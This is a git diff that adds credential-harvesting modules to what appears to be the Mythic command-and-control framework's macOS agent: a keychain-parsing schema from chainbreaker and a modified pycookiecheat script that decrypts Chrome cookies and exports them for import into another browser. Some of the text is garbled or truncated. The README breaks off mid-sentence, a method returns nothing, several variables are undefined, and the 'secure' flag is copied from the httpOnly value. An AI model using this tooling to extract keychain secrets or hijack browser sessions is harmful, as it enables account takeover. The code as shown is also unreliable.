+ print("DES file test time: %f" % (time() - t)) + + +def __profile__(): + import profile + + profile.run('__fulltest__()') + + +# profile.run('__filetest__()') + +if __name__ == '__main__': + __test__() + # __fulltest__() + # __filetest__() + # __profile__() diff --git a/Payload_Type/apfell/mythic/chainbreaker/schema.py b/Payload_Type/apfell/mythic/chainbreaker/schema.py new file mode 100644 index 0000000..0021f4b --- /dev/null +++ b/Payload_Type/apfell/mythic/chainbreaker/schema.py @@ -0,0 +1,495 @@ +from struct import Struct +from datetime import datetime + +# http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h +KEY_TYPE = { + 0x00 + 0x0F: 'CSSM_KEYCLASS_PUBLIC_KEY', + 0x01 + 0x0F: 'CSSM_KEYCLASS_PRIVATE_KEY', + 0x02 + 0x0F: 'CSSM_KEYCLASS_SESSION_KEY', + 0x03 + 0x0F: 'CSSM_KEYCLASS_SECRET_PART', + 0xFFFFFFFF: 'CSSM_KEYCLASS_OTHER' +} + +CSSM_ALGORITHMS = { + 0: 'CSSM_ALGID_NONE', + 1: 'CSSM_ALGID_CUSTOM', + 2: 'CSSM_ALGID_DH', + 3: 'CSSM_ALGID_PH', + 4: 'CSSM_ALGID_KEA', + 5: 'CSSM_ALGID_MD2', + 6: 'CSSM_ALGID_MD4', + 7: 'CSSM_ALGID_MD5', + 8: 'CSSM_ALGID_SHA1', + 9: 'CSSM_ALGID_NHASH', + 10: 'CSSM_ALGID_HAVAL:', + 11: 'CSSM_ALGID_RIPEMD', + 12: 'CSSM_ALGID_IBCHASH', + 13: 'CSSM_ALGID_RIPEMAC', + 14: 'CSSM_ALGID_DES', + 15: 'CSSM_ALGID_DESX', + 16: 'CSSM_ALGID_RDES', + 17: 'CSSM_ALGID_3DES_3KEY_EDE', + 18: 'CSSM_ALGID_3DES_2KEY_EDE', + 19: 'CSSM_ALGID_3DES_1KEY_EEE', + 20: 'CSSM_ALGID_3DES_3KEY_EEE', + 21: 'CSSM_ALGID_3DES_2KEY_EEE', + 22: 'CSSM_ALGID_IDEA', + 23: 'CSSM_ALGID_RC2', + 24: 'CSSM_ALGID_RC5', + 25: 'CSSM_ALGID_RC4', + 26: 'CSSM_ALGID_SEAL', + 27: 'CSSM_ALGID_CAST', + 28: 'CSSM_ALGID_BLOWFISH', + 29: 'CSSM_ALGID_SKIPJACK', + 30: 'CSSM_ALGID_LUCIFER', + 31: 'CSSM_ALGID_MADRYGA', + 32: 'CSSM_ALGID_FEAL', + 33: 'CSSM_ALGID_REDOC', + 34: 'CSSM_ALGID_REDOC3', + 35: 'CSSM_ALGID_LOKI', + 36: 'CSSM_ALGID_KHUFU', + 37: 'CSSM_ALGID_KHAFRE', + 38: 'CSSM_ALGID_MMB', + 39: 'CSSM_ALGID_GOST', + 40: 'CSSM_ALGID_SAFER', + 41: 'CSSM_ALGID_CRAB', + 42: 'CSSM_ALGID_RSA', + 43: 'CSSM_ALGID_DSA', + 44: 'CSSM_ALGID_MD5WithRSA', + 45: 'CSSM_ALGID_MD2WithRSA', + 46: 'CSSM_ALGID_ElGamal', + 47: 'CSSM_ALGID_MD2Random', + 48: 'CSSM_ALGID_MD5Random', + 49: 'CSSM_ALGID_SHARandom', + 50: 'CSSM_ALGID_DESRandom', + 51: 'CSSM_ALGID_SHA1WithRSA', + 52: 'CSSM_ALGID_CDMF', + 53: 'CSSM_ALGID_CAST3', + 54: 'CSSM_ALGID_CAST5', + 55: 'CSSM_ALGID_GenericSecret', + 56: 'CSSM_ALGID_ConcatBaseAndKey', + 57: 'CSSM_ALGID_ConcatKeyAndBase', + 58: 'CSSM_ALGID_ConcatBaseAndData', + 59: 'CSSM_ALGID_ConcatDataAndBase', + 60: 'CSSM_ALGID_XORBaseAndData', + 61: 'CSSM_ALGID_ExtractFromKey', + 62: 'CSSM_ALGID_SSL3PreMasterGen', + 63: 'CSSM_ALGID_SSL3MasterDerive', + 64: 'CSSM_ALGID_SSL3KeyAndMacDerive', + 65: 'CSSM_ALGID_SSL3MD5_MAC', + 66: 'CSSM_ALGID_SSL3SHA1_MAC', + 67: 'CSSM_ALGID_PKCS5_PBKDF1_MD5', + 68: 'CSSM_ALGID_PKCS5_PBKDF1_MD2', + 69: 'CSSM_ALGID_PKCS5_PBKDF1_SHA1', + 70: 'CSSM_ALGID_WrapLynks', + 71: 'CSSM_ALGID_WrapSET_OAEP', + 72: 'CSSM_ALGID_BATON', + 73: 'CSSM_ALGID_ECDSA', + 74: 'CSSM_ALGID_MAYFLY', + 75: 'CSSM_ALGID_JUNIPER', + 76: 'CSSM_ALGID_FASTHASH', + 77: 'CSSM_ALGID_3DES', + 78: 'CSSM_ALGID_SSL3MD5', + 79: 'CSSM_ALGID_SSL3SHA1', + 80: 'CSSM_ALGID_FortezzaTimestamp', + 81: 'CSSM_ALGID_SHA1WithDSA', + 82: 'CSSM_ALGID_SHA1WithECDSA', + 83: 'CSSM_ALGID_DSA_BSAFE', + 84: 'CSSM_ALGID_ECDH', + 85: 'CSSM_ALGID_ECMQV', + 86: 'CSSM_ALGID_PKCS12_SHA1_PBE', + 87: 'CSSM_ALGID_ECNRA', + 88: 'CSSM_ALGID_SHA1WithECNRA', + 89: 'CSSM_ALGID_ECES', + 90: 'CSSM_ALGID_ECAES', + 91: 'CSSM_ALGID_SHA1HMAC', + 92: 'CSSM_ALGID_FIPS186Random', + 93: 'CSSM_ALGID_ECC', + 94: 'CSSM_ALGID_MQV', + 95: 'CSSM_ALGID_NRA', + 96: 'CSSM_ALGID_IntelPlatformRandom', + 97: 'CSSM_ALGID_UTC', + 98: 'CSSM_ALGID_HAVAL3', + 99: 'CSSM_ALGID_HAVAL4', + 100: 'CSSM_ALGID_HAVAL5', + 101: 'CSSM_ALGID_TIGER', + 102: 'CSSM_ALGID_MD5HMAC', + 103: 'CSSM_ALGID_PKCS5_PBKDF2', + 104: 'CSSM_ALGID_RUNNING_COUNTER', + 0x7FFFFFFF: 'CSSM_ALGID_LAST' +} + +# CSSM TYPE +## http://www.opensource.apple.com/source/libsecurity_cssm/libsecurity_cssm-36064/lib/cssmtype.h + +########## CSSM_DB_RECORDTYPE ############# + +# /* Industry At Large Application Name Space Range Definition */ +# /* AppleFileDL record types. */ +CSSM_DB_RECORDTYPE_APP_DEFINED_START = 0x80000000 +CSSM_DL_DB_RECORD_GENERIC_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0 +CSSM_DL_DB_RECORD_INTERNET_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 1 +CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 2 +CSSM_DL_DB_RECORD_USER_TRUST = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 3 +CSSM_DL_DB_RECORD_X509_CRL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 4 +CSSM_DL_DB_RECORD_UNLOCK_REFERRAL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 5 +CSSM_DL_DB_RECORD_EXTENDED_ATTRIBUTE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 6 + +CSSM_DL_DB_RECORD_X509_CERTIFICATE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x1000 +CSSM_DL_DB_RECORD_METADATA = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x8000 ## DBBlob +CSSM_DB_RECORDTYPE_APP_DEFINED_END = 0xffffffff + +# /* Record Types defined in the Schema Management Name Space */ +CSSM_DB_RECORDTYPE_SCHEMA_START = 0x00000000 +CSSM_DL_DB_SCHEMA_INFO = CSSM_DB_RECORDTYPE_SCHEMA_START + 0 +CSSM_DL_DB_SCHEMA_INDEXES = CSSM_DB_RECORDTYPE_SCHEMA_START + 1 +CSSM_DL_DB_SCHEMA_ATTRIBUTES = CSSM_DB_RECORDTYPE_SCHEMA_START + 2 +CSSM_DL_DB_SCHEMA_PARSING_MODULE = CSSM_DB_RECORDTYPE_SCHEMA_START + 3 +CSSM_DB_RECORDTYPE_SCHEMA_END = CSSM_DB_RECORDTYPE_SCHEMA_START + 4 + +# /* Record Types defined in the Open Group Application Name Space */ +# /* Open Group Application Name Space Range Definition*/ +CSSM_DB_RECORDTYPE_OPEN_GROUP_START = 0x0000000A +CSSM_DL_DB_RECORD_ANY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 0 +CSSM_DL_DB_RECORD_CERT = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 1 +CSSM_DL_DB_RECORD_CRL = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 2 +CSSM_DL_DB_RECORD_POLICY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 3 +CSSM_DL_DB_RECORD_GENERIC = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 4 +CSSM_DL_DB_RECORD_PUBLIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 5 +CSSM_DL_DB_RECORD_PRIVATE_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 6 +CSSM_DL_DB_RECORD_SYMMETRIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 7 +CSSM_DL_DB_RECORD_ALL_KEYS = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 +CSSM_DB_RECORDTYPE_OPEN_GROUP_END = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 +##################### + +######## KEYUSE ######### +CSSM_KEYUSE_ANY = 0x80000000 +CSSM_KEYUSE_ENCRYPT = 0x00000001 +CSSM_KEYUSE_DECRYPT = 0x00000002 +CSSM_KEYUSE_SIGN = 0x00000004 +CSSM_KEYUSE_VERIFY = 0x00000008 +CSSM_KEYUSE_SIGN_RECOVER = 0x00000010 +CSSM_KEYUSE_VERIFY_RECOVER = 0x00000020 +CSSM_KEYUSE_WRAP = 0x00000040 +CSSM_KEYUSE_UNWRAP = 0x00000080 +CSSM_KEYUSE_DERIVE = 0x00000100 +#################### + +############ CERT TYPE ############## +CERT_TYPE = { + 0x00: 'CSSM_CERT_UNKNOWN', + 0x01: 'CSSM_CERT_X_509v1', + 0x02: 'CSSM_CERT_X_509v2', + 0x03: 'CSSM_CERT_X_509v3', + 0x04: 'CSSM_CERT_PGP', + 0x05: 'CSSM_CERT_SPKI', + 0x06: 'CSSM_CERT_SDSIv1', + 0x08: 'CSSM_CERT_Intel', + 0x09: 'CSSM_CERT_X_509_ATTRIBUTE', + 0x0A: 'CSSM_CERT_X9_ATTRIBUTE', + 0x0C: 'CSSM_CERT_ACL_ENTRY', + 0x7FFE: 'CSSM_CERT_MULTIPLE', + 0x7FFF: 'CSSM_CERT_LAST', + 0x8000: 'CSSM_CL_CUSTOM_CERT_TYPE' +} +#################################### + +########### CERT ENCODING ############# +CERT_ENCODING = { + 0x00: 'CSSM_CERT_ENCODING_UNKNOWN', + 0x01: 'CSSM_CERT_ENCODING_CUSTOM', + 0x02: 'CSSM_CERT_ENCODING_BER', + 0x03: 'CSSM_CERT_ENCODING_DER', + 0x04: 'CSSM_CERT_ENCODING_NDR', + 0x05: 'CSSM_CERT_ENCODING_SEXPR', + 0x06: 'CSSM_CERT_ENCODING_PGP', + 0x7FFE: 'CSSM_CERT_ENCODING_MULTIPLE', + 0x7FFF: 'CSSM_CERT_ENCODING_LAST' +} + +STD_APPLE_ADDIN_MODULE = { + '{87191ca0-0fc9-11d4-849a-000502b52122}': 'CSSM itself', + '{87191ca1-0fc9-11d4-849a-000502b52122}': 'File based DL (aka "Keychain DL")', + '{87191ca2-0fc9-11d4-849a-000502b52122}': 'Core CSP (local space)', + '{87191ca3-0fc9-11d4-849a-000502b52122}': 'Secure CSP/DL (aka "Keychain CSPDL")', + '{87191ca4-0fc9-11d4-849a-000502b52122}': 'X509 Certificate CL', + '{87191ca5-0fc9-11d4-849a-000502b52122}': 'X509 Certificate TP', + '{87191ca6-0fc9-11d4-849a-000502b52122}': 'DLAP/OpenDirectory access DL', + '{87191ca7-0fc9-11d4-849a-000502b52122}': 'TP for ".mac" related policies', + '{87191ca8-0fc9-11d4-849a-000502b52122}': 'Smartcard CSP/DL', + '{87191ca9-0fc9-11d4-849a-000502b52122}': 'DL for ".mac" certificate access' +} + +SECURE_STORAGE_GROUP = 'ssgp' + +# SecAuthenticationType +AUTH_TYPE = { + 'ntlm': 'kSecAuthenticationTypeNTLM', + 'msna': 'kSecAuthenticationTypeMSN', + 'dpaa': 'kSecAuthenticationTypeDPA', + 'rpaa': 'kSecAuthenticationTypeRPA', + 'http': 'kSecAuthenticationTypeHTTPBasic', + 'httd': 'kSecAuthenticationTypeHTTPDigest', + 'form': 'kSecAuthenticationTypeHTMLForm', + 'dflt': 'kSecAuthenticationTypeDefault', + '': 'kSecAuthenticationTypeAny', + '\x00\x00\x00\x00': 'kSecAuthenticationTypeAny' +} + +# SecProtocolType +PROTOCOL_TYPE = { + 'ftp ': 'kSecProtocolTypeFTP', + 'ftpa': 'kSecProtocolTypeFTPAccount', + 'http': 'kSecProtocolTypeHTTP', + 'irc ': 'kSecProtocolTypeIRC', + 'nntp': 'kSecProtocolTypeNNTP', + 'pop3': 'kSecProtocolTypePOP3', + 'smtp': 'kSecProtocolTypeSMTP', + 'sox ': 'kSecProtocolTypeSOCKS', + 'imap': 'kSecProtocolTypeIMAP', + 'ldap': 'kSecProtocolTypeLDAP', + 'atlk': 'kSecProtocolTypeAppleTalk', + 'afp ': 'kSecProtocolTypeAFP', + 'teln': 'kSecProtocolTypeTelnet', + 'ssh ': 'kSecProtocolTypeSSH', + 'ftps': 'kSecProtocolTypeFTPS', + 'htps': 'kSecProtocolTypeHTTPS', + 'htpx': 'kSecProtocolTypeHTTPProxy', + 'htsx': 'kSecProtocolTypeHTTPSProxy', + 'ftpx': 'kSecProtocolTypeFTPProxy', + 'cifs': 'kSecProtocolTypeCIFS', + 'smb ': 'kSecProtocolTypeSMB', + 'rtsp': 'kSecProtocolTypeRTSP', + 'rtsx': 'kSecProtocolTypeRTSPProxy', + 'daap': 'kSecProtocolTypeDAAP', + 'eppc': 'kSecProtocolTypeEPPC', + 'ipp ': 'kSecProtocolTypeIPP', + 'ntps': 'kSecProtocolTypeNNTPS', + 'ldps': 'kSecProtocolTypeLDAPS', + 'tels': 'kSecProtocolTypeTelnetS', + 'imps': 'kSecProtocolTypeIMAPS', + 'ircs': 'kSecProtocolTypeIRCS', + 'pops': 'kSecProtocolTypePOP3S', + 'cvsp': 'kSecProtocolTypeCVSpserver', + 'svn ': 'kSecProtocolTypeCVSpserver', + 'AdIM': 'kSecProtocolTypeAdiumMessenger', + '\x00\x00\x00\x00': 'kSecProtocolTypeAny' +} + +# This is somewhat gross: we define a bunch of module-level constants based on +# the SecKeychainItem.h defines (FourCharCodes) by passing them through +# struct.unpack and converting them to ctypes.c_long() since we'll never use +# them for non-native APIs + +CARBON_DEFINES = { + 'cdat': 'kSecCreationDateItemAttr', + 'mdat': 'kSecModDateItemAttr', + 'desc': 'kSecDescriptionItemAttr', + 'icmt': 'kSecCommentItemAttr', + 'crtr': 'kSecCreatorItemAttr', + 'type': 'kSecTypeItemAttr', + 'scrp': 'kSecScriptCodeItemAttr', + 'labl': 'kSecLabelItemAttr', + 'invi': 'kSecInvisibleItemAttr', + 'nega': 'kSecNegativeItemAttr', + 'cusi': 'kSecCustomIconItemAttr', + 'acct': 'kSecAccountItemAttr', + 'svce': 'kSecServiceItemAttr', + 'gena': 'kSecGenericItemAttr', + 'sdmn': 'kSecSecurityDomainItemAttr', + 'srvr': 'kSecServerItemAttr', + 'atyp': 'kSecAuthenticationTypeItemAttr', + 'port': 'kSecPortItemAttr', + 'path': 'kSecPathItemAttr', + 'vlme': 'kSecVolumeItemAttr', + 'addr': 'kSecAddressItemAttr', + 'ssig': 'kSecSignatureItemAttr', + 'ptcl': 'kSecProtocolItemAttr', + 'ctyp': 'kSecCertificateType', + 'cenc': 'kSecCertificateEncoding', + 'crtp': 'kSecCrlType', + 'crnc': 'kSecCrlEncoding', + 'alis': 'kSecAlias', + 'inet': 'kSecInternetPasswordItemClass', + 'genp': 'kSecGenericPasswordItemClass', + 'ashp': 'kSecAppleSharePasswordItemClass', + CSSM_DL_DB_RECORD_X509_CERTIFICATE: 'kSecCertificateItemClass' +} + +class _APPL_DB_HEADER(object): + STRUCT = Struct('> 4s i i i i') + + def __init__(self, buffer): + (self.Signature, self.Version, self.HeaderSize, self.SchemaOffset, + self.AuthOffset) = _APPL_DB_HEADER.STRUCT.unpack( + buffer) + + +class _APPL_DB_SCHEMA(object): + STRUCT = Struct('> i i') + + def __init__(self, buffer): + (self.SchemaSize, self.TableCount) = _APPL_DB_SCHEMA.STRUCT.unpack(buffer) + + +class _TABLE_HEADER(object): + STRUCT = Struct('> I I I I I I I') + + def __init__(self, buffer): + (self.TableSize, self.TableId, self.RecordCount, self.Records, self.IndexesOffset, self.FreeListHead, + self.RecordNumbersCount) = _TABLE_HEADER.STRUCT.unpack(buffer) + + +class _DB_BLOB(object): + STRUCT = Struct('> 8s I I 16s I 8s 20s 8s 20s') + + def __init__(self, buffer): + (self.CommonBlobBuffer, self.StartCryptoBlob, self.TotalLength, self.RandomSignature, self.Sequence, + self.ParamsBuffer, self.Salt, self.IV, self.BlobSignature) = _DB_BLOB.STRUCT.unpack(buffer) + + self.CommonBlob = _COMMON_BLOB(self.CommonBlobBuffer) + self.Params = _DB_PARAMETERS(self.ParamsBuffer) + + +class _COMMON_BLOB(object): + STRUCT = Struct('> L l') + + def __init__(self, buffer): + (self.Magic, self.BlobVersion) = _COMMON_BLOB.STRUCT.unpack(buffer) + + +class _DB_PARAMETERS(object): + STRUCT = Struct('> I I') + def __init__(self, buffer): + (self.IdleTimeout, self.LockOnSleep) = _DB_PARAMETERS.STRUCT.unpack(buffer) + + +class _GENERIC_PW_HEADER(object): + STRUCT = Struct('> I I I I I I I I I I I I I I I I I I I I I I') + + def __init__(self, buffer): + (self.RecordSize, self.RecordNumber, self.Unknown2, self.Unknown3, self.SSGPArea, self.Unknown5, + self.CreationDate, self.ModDate, self.Description, self.Comment, self.Creator, self.Type, self.ScriptCode, + self.PrintName, self.Alias, self.Invisible, self.Negative, self.CustomIcon, self.Protected, self.Account, + self.Service, self.Generic,) = _GENERIC_PW_HEADER.STRUCT.unpack(buffer) + + +class _KEY_BLOB_REC_HEADER(object): + STRUCT = Struct('> I I 124s ') + + def __init__(self, buffer): + (self.RecordSize, self.RecordCount, self.Dummy) = _KEY_BLOB_REC_HEADER.STRUCT.unpack(buffer) + + +class _KEY_BLOB(object): + STRUCT = Struct('> 8s I I 8s') + COMMON_BLOB_MAGIC = 0xFADE0711 + + def __init__(self, buffer): + (self.CommonBlobBuffer, self.StartCryptoBlob, self.TotalLength, self.IV,) = _KEY_BLOB.STRUCT.unpack(buffer) + + self.CommonBlob = _COMMON_BLOB(self.CommonBlobBuffer) + + +# First 28 bytes are structured - remainder is our encrypted password. +class _SSGP(object): + STRUCT = Struct('> 4s 16s 8s') + + def __init__(self, buffer): + (self.Magic, self.Label, self.IV,) = _SSGP.STRUCT.unpack(buffer[:28]) + self.EncryptedPassword = buffer[28:] + + +class _INTERNET_PW_HEADER(object): + STRUCT = Struct('> I I I I I I I I I I I I I I I I I I I I I I I I I I') + + def __init__(self, buffer): + (self.RecordSize, self.RecordNumber, self.Unknown2, self.Unknown3, self.SSGPArea, self.Unknown5, + self.CreationDate, self.ModDate, self.Description, self.Comment, self.Creator, self.Type, self.ScriptCode, + self.PrintName, self.Alias, self.Invisible, self.Negative, self.CustomIcon, self.Protected, self.Account, + self.SecurityDomain, self.Server, self.Protocol, self.AuthType, self.Port, + self.Path,) = _INTERNET_PW_HEADER.STRUCT.unpack(buffer) + + +class _APPLE_SHARE_HEADER(object): + STRUCT = Struct('> I I I I I I I I I I I I I I I I I I I I I I I I I I') + + def __init__(self, buffer): + (self.RecordSize, self.RecordNumber, self.Unknown2, self.Unknown3, self.SSGPArea, self.Unknown5, + self.CreationDate, self.ModDate, self.Description, self.Comment, self.Creator, self.Type, self.ScriptCode, + self.PrintName, self.Alias, self.Invisible, self.Negative, self.CustomIcon, self.Protected, self.Account, + self.Volume, self.Server, self.Protocol, self.AuthType, self.Address, + self.Signature,) = _APPLE_SHARE_HEADER.STRUCT.unpack(buffer) + + +class _X509_CERT_HEADER(object): + STRUCT = Struct('> I I I I I I I I I I I I I I I') + + def __init__(self, buffer): + (self.RecordSize, self.RecordNumber, self.Unknown1, self.Unknown2, self.CertSize, self.Unknown3, self.CertType, + self.CertEncoding, self.PrintName, self.Alias, self.Subject, self.Issuer, self.SerialNumber, + self.SubjectKeyIdentifier, self.PublicKeyHash,) = _X509_CERT_HEADER.STRUCT.unpack(buffer) + + +# # http://www.opensource.apple.com/source/Security/Security-55179.1/include/security_cdsa_utilities/KeySchema.h +# # http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36940/lib/SecKey.h + +class _SECKEY_HEADER(object): + STRUCT = Struct('> I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I') + + def __init__(self, buffer): + (self.RecordSize, self.RecordNumber, self.Unknown1, self.Unknown2, self.BlobSize, self.Unknown3, self.KeyClass, + self.PrintName, self.Alias, self.Permanent, self.Private, self.Modifiable, self.Label, self.ApplicationTag, + self.KeyCreator, self.KeyType, self.KeySizeInBits, self.EffectiveKeySize, self.StartDate, self.EndDate, + self.Sensitive, self.AlwaysSensitive, self.Extractable, self.NeverExtractable, self.Encrypt, self.Decrypt, + self.Derive, self.Sign, self.Verify, self.SignRecover, self.VerifyRecover, self.Wrap, + self.UnWrap,) = _SECKEY_HEADER.STRUCT.unpack(buffer) + + +class _UNLOCK_BLOB(object): + STRUCT = Struct('> 8s 24s 16s') + + def __init__(self, buffer): + (self.CommonBlobBuffer, self.MasterKey, self.BlobSignature) = _UNLOCK_BLOB.STRUCT.unpack(buffer) + + self.CommonBlob = _COMMON_BLOB(self.CommonBlobBuffer) + + +class _KEYCHAIN_TIME(object): + STRUCT = Struct('>16s') + STRPTIME_FORMAT = "%Y%m%d%H%M%SZ" + + def __init__(self, buffer): + self.Value = _KEYCHAIN_TIME.STRUCT.unpack(buffer)[0].strip('\x00') + self.Time = datetime.strptime(self.Value, _KEYCHAIN_TIME.STRPTIME_FORMAT) + + def __repr__(self): + return + + +class _INT(object): + STRUCT = Struct('>I') + + def __init__(self, buffer): + self.Value = _INT.STRUCT.unpack(buffer)[0] + + +class _FOUR_CHAR_CODE(object): + STRUCT = Struct('>4s') + + def __init__(self, buffer): + self.Value = _FOUR_CHAR_CODE.STRUCT.unpack(buffer)[0] + + +class _LV(object): + def __init__(self, buffer, length): + self.STRUCT = Struct(">" + str(length) + "s") + self.Value = self.STRUCT.unpack(buffer)[0].strip('\x00') + + +class _RECORD_OFFSET(_INT): + pass + + +class _TABLE_ID(_INT): + pass diff --git a/Payload_Type/apfell/mythic/pycookiecheat/AUTHORS.md b/Payload_Type/apfell/mythic/pycookiecheat/AUTHORS.md new file mode 100644 index 0000000..7a10071 --- /dev/null +++ b/Payload_Type/apfell/mythic/pycookiecheat/AUTHORS.md @@ -0,0 +1,11 @@ +# Credits + +## Development Lead + +- [Nathan Henrie](http://n8henrie.com) + +## Contributors + +- [Kostis Anagnostopoulos](https://github.com/ankostis) +- [Dani García](https://github.com/dani14-96) +- [Thinh Nguyen](https://github.com/Taik) diff --git a/Payload_Type/apfell/mythic/pycookiecheat/LICENSE b/Payload_Type/apfell/mythic/pycookiecheat/LICENSE new file mode 100644 index 0000000..88a7420 --- /dev/null +++ b/Payload_Type/apfell/mythic/pycookiecheat/LICENSE @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2015 Nathan Henrie + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + diff --git a/Payload_Type/apfell/mythic/pycookiecheat/README.md b/Payload_Type/apfell/mythic/pycookiecheat/README.md new file mode 100644 index 0000000..22fe5f1 --- /dev/null +++ b/Payload_Type/apfell/mythic/pycookiecheat/README.md @@ -0,0 +1,102 @@ +# pycookiecheat + +[![master branch build +status](https://github.com/n8henrie/pycookiecheat/actions/workflows/python-package.yml/badge.svg?branch=master)](https://github.com/n8henrie/pycookiecheat/actions/workflows/python-package.yml) + +Borrow cookies from your browser's authenticated session for use in Python +scripts. + +- Free software: MIT +- Documentation: http://n8h.me/HufI1w + +## Installation + +**NB:** Use `pip` and `python` instead of `pip3` and `python3` if you're still +on Python 2 and using pycookiecheat < v0.4.0. pycookiecheat >= v0.4.0 requires +Python 3.5+, and may soon go to 3.6+. + +- `python3 -m pip install pycookiecheat` + +### Installation notes regarding alternative keyrings on Linux + +See [#12](https://github.com/n8henrie/pycookiecheat/issues/12). Chrome is now +using a few different keyrings to store your `Chrome Safe Storage` password, +instead of a hard-coded password. Pycookiecheat doesn't work with most of these +so far, and to be honest my enthusiasm for adding support for ones I don't use +is limited. However, users have contributed code that seems to work with some +of the recent Ubuntu desktops. To get it working, you may have to `sudo apt-get +install libsecret-1-dev python-gi python3-gi`, and if you're installing into a +virtualenv (highly recommended), you need to use the `--system-site-packages` +flag to get access to the necessary libraries. + +Alternatively, some users have suggested running Chrome with the +`--password-store=basic` or `--use-mock-keychain` flags. + +### Development Setup + +1. `git clone https://github.com/n8henrie/pycookiecheat.git` +1. `cd pycookiecheat` +1. `python3 -m venv .venv` +1. `./.venv/bin/python -m pip install -e .[dev]` + +## Usage + +```python +from pycookiecheat import chrome_cookies +import requests + +url = 'http://example.com/fake.html' + +# Uses Chrome's default cookies filepath by default +cookies = chrome_cookies(url) +r = requests.get(url, cookies=cookies) +``` + +Use the `cookie_file` keyword-argument to specify a different filepath for the +cookies-file: `chrome_cookies(url, cookie_file='/abspath/to/cookies')` + +Keep in mind that pycookiecheat defaults to looking for cookies for +Chromium, not Google Chrome, so if you're using the latter, you'll need to +manually specify something like +`"/home/username/.config/google-chrome/Default/Cookies"` as your `cookie_file`. + +## Features + +- Returns decrypted cookies from Google Chrome on OSX or Linux. +- Optionally outputs cookies to file (thanks to Muntashir Al-Islam!) + +## FAQ / Troubleshooting + +### How about Windows? + +I don't use Windows or have a PC, so I won't be adding support myself. Feel +free to make a PR :) + +### I get an installation error with the `cryptography` module on OS X +(pycookiecheat str: + """This function decrypts the given value with the provided key""" + # Encrypted cookies should be prefixed with 'v10' according to the + # Chromium code. Strip it off. + encrypted_value = encrypted_value[3:] + + # Strip padding by taking off number indicated by padding + # eg if last is '\x0e' then ord('\x0e') == 14, so take off 14. + # You'll need to change this function to use ord() for python2. + def clean(x): + return x[:-x[-1]].decode('utf8') + + cipher = AES.new(key, AES.MODE_CBC, IV=iv) + decrypted = cipher.decrypt(encrypted_value) + + return clean(decrypted) + + +def crisp(args: dict) -> None: + """This function accepts a path to a Cookies db file and key to decrypt chrome cookies""" + cookies_db = args.get("cookies_file") + key = args.get("key") + out_file = args.get("output") + + raw_secret = key.encode('utf8') + iterations = 1003 + # obtain the derived key + dk = PBKDF2(raw_secret, salt, length, iterations) + + if os.path.exists(cookies_db): + try: + conn = sqlite3.connect(cookies_db) + except Exception as e: + print("Failed to connect to the sqlite3 db: " + str(e)) + sys.stdout.flush() + + sql = 'select name, value, encrypted_value, path, host_key, expires_utc, is_httponly, samesite, is_secure, priority, last_access_utc, is_persistent, has_expires, source_scheme from cookies ' + + cookies = {} + cookies_list = [] + + with conn: + for k, v, ev, path, domain, expirationDate, httpOnly, samesite, secure, priority, last_access, is_persistent, has_expires, source_scheme in conn.execute(sql): + temp_val = {"name": k, "value": v, "path": path, "domain": domain, "expirationDate": expirationDate, "httpOnly": httpOnly, "samesite": samesite, "secure": secure, "id": priority, "session": is_persistent, "hostOnly": False, "storeId":"firefox-default", "sameSite":"no_restriction","firstPartyDomain":""} + temp_val["httpOnly"] = False if httpOnly == 0 else True + temp_val["secure"] = False if httpOnly == 0 else True + + if temp_val["session"] == 1: + temp_val["session"] = False + else: + temp_val["session"] = True + # if there is a not encrypted value or if the encrypted value + # doesn't start with the 'v10' prefix, return v + if v or (ev[:3] != b'v10'): + pass #cookies_list.append((k, v, path, domain, expirationDate, httpOnly, samesite, secure, priority)) + else: + temp_val['value'] = decrypt(ev, key=dk) + + cookies_list.append(temp_val) + + out = json.dumps(cookies_list, sort_keys=True, indent=4) + + sys.stdout.flush() + + outfile = open(out_file, 'w') + outfile.write(out) + outfile.close() + else: + print("Cookies file doesn't exist") + + +if __name__ == "__main__": + crisp(args=args)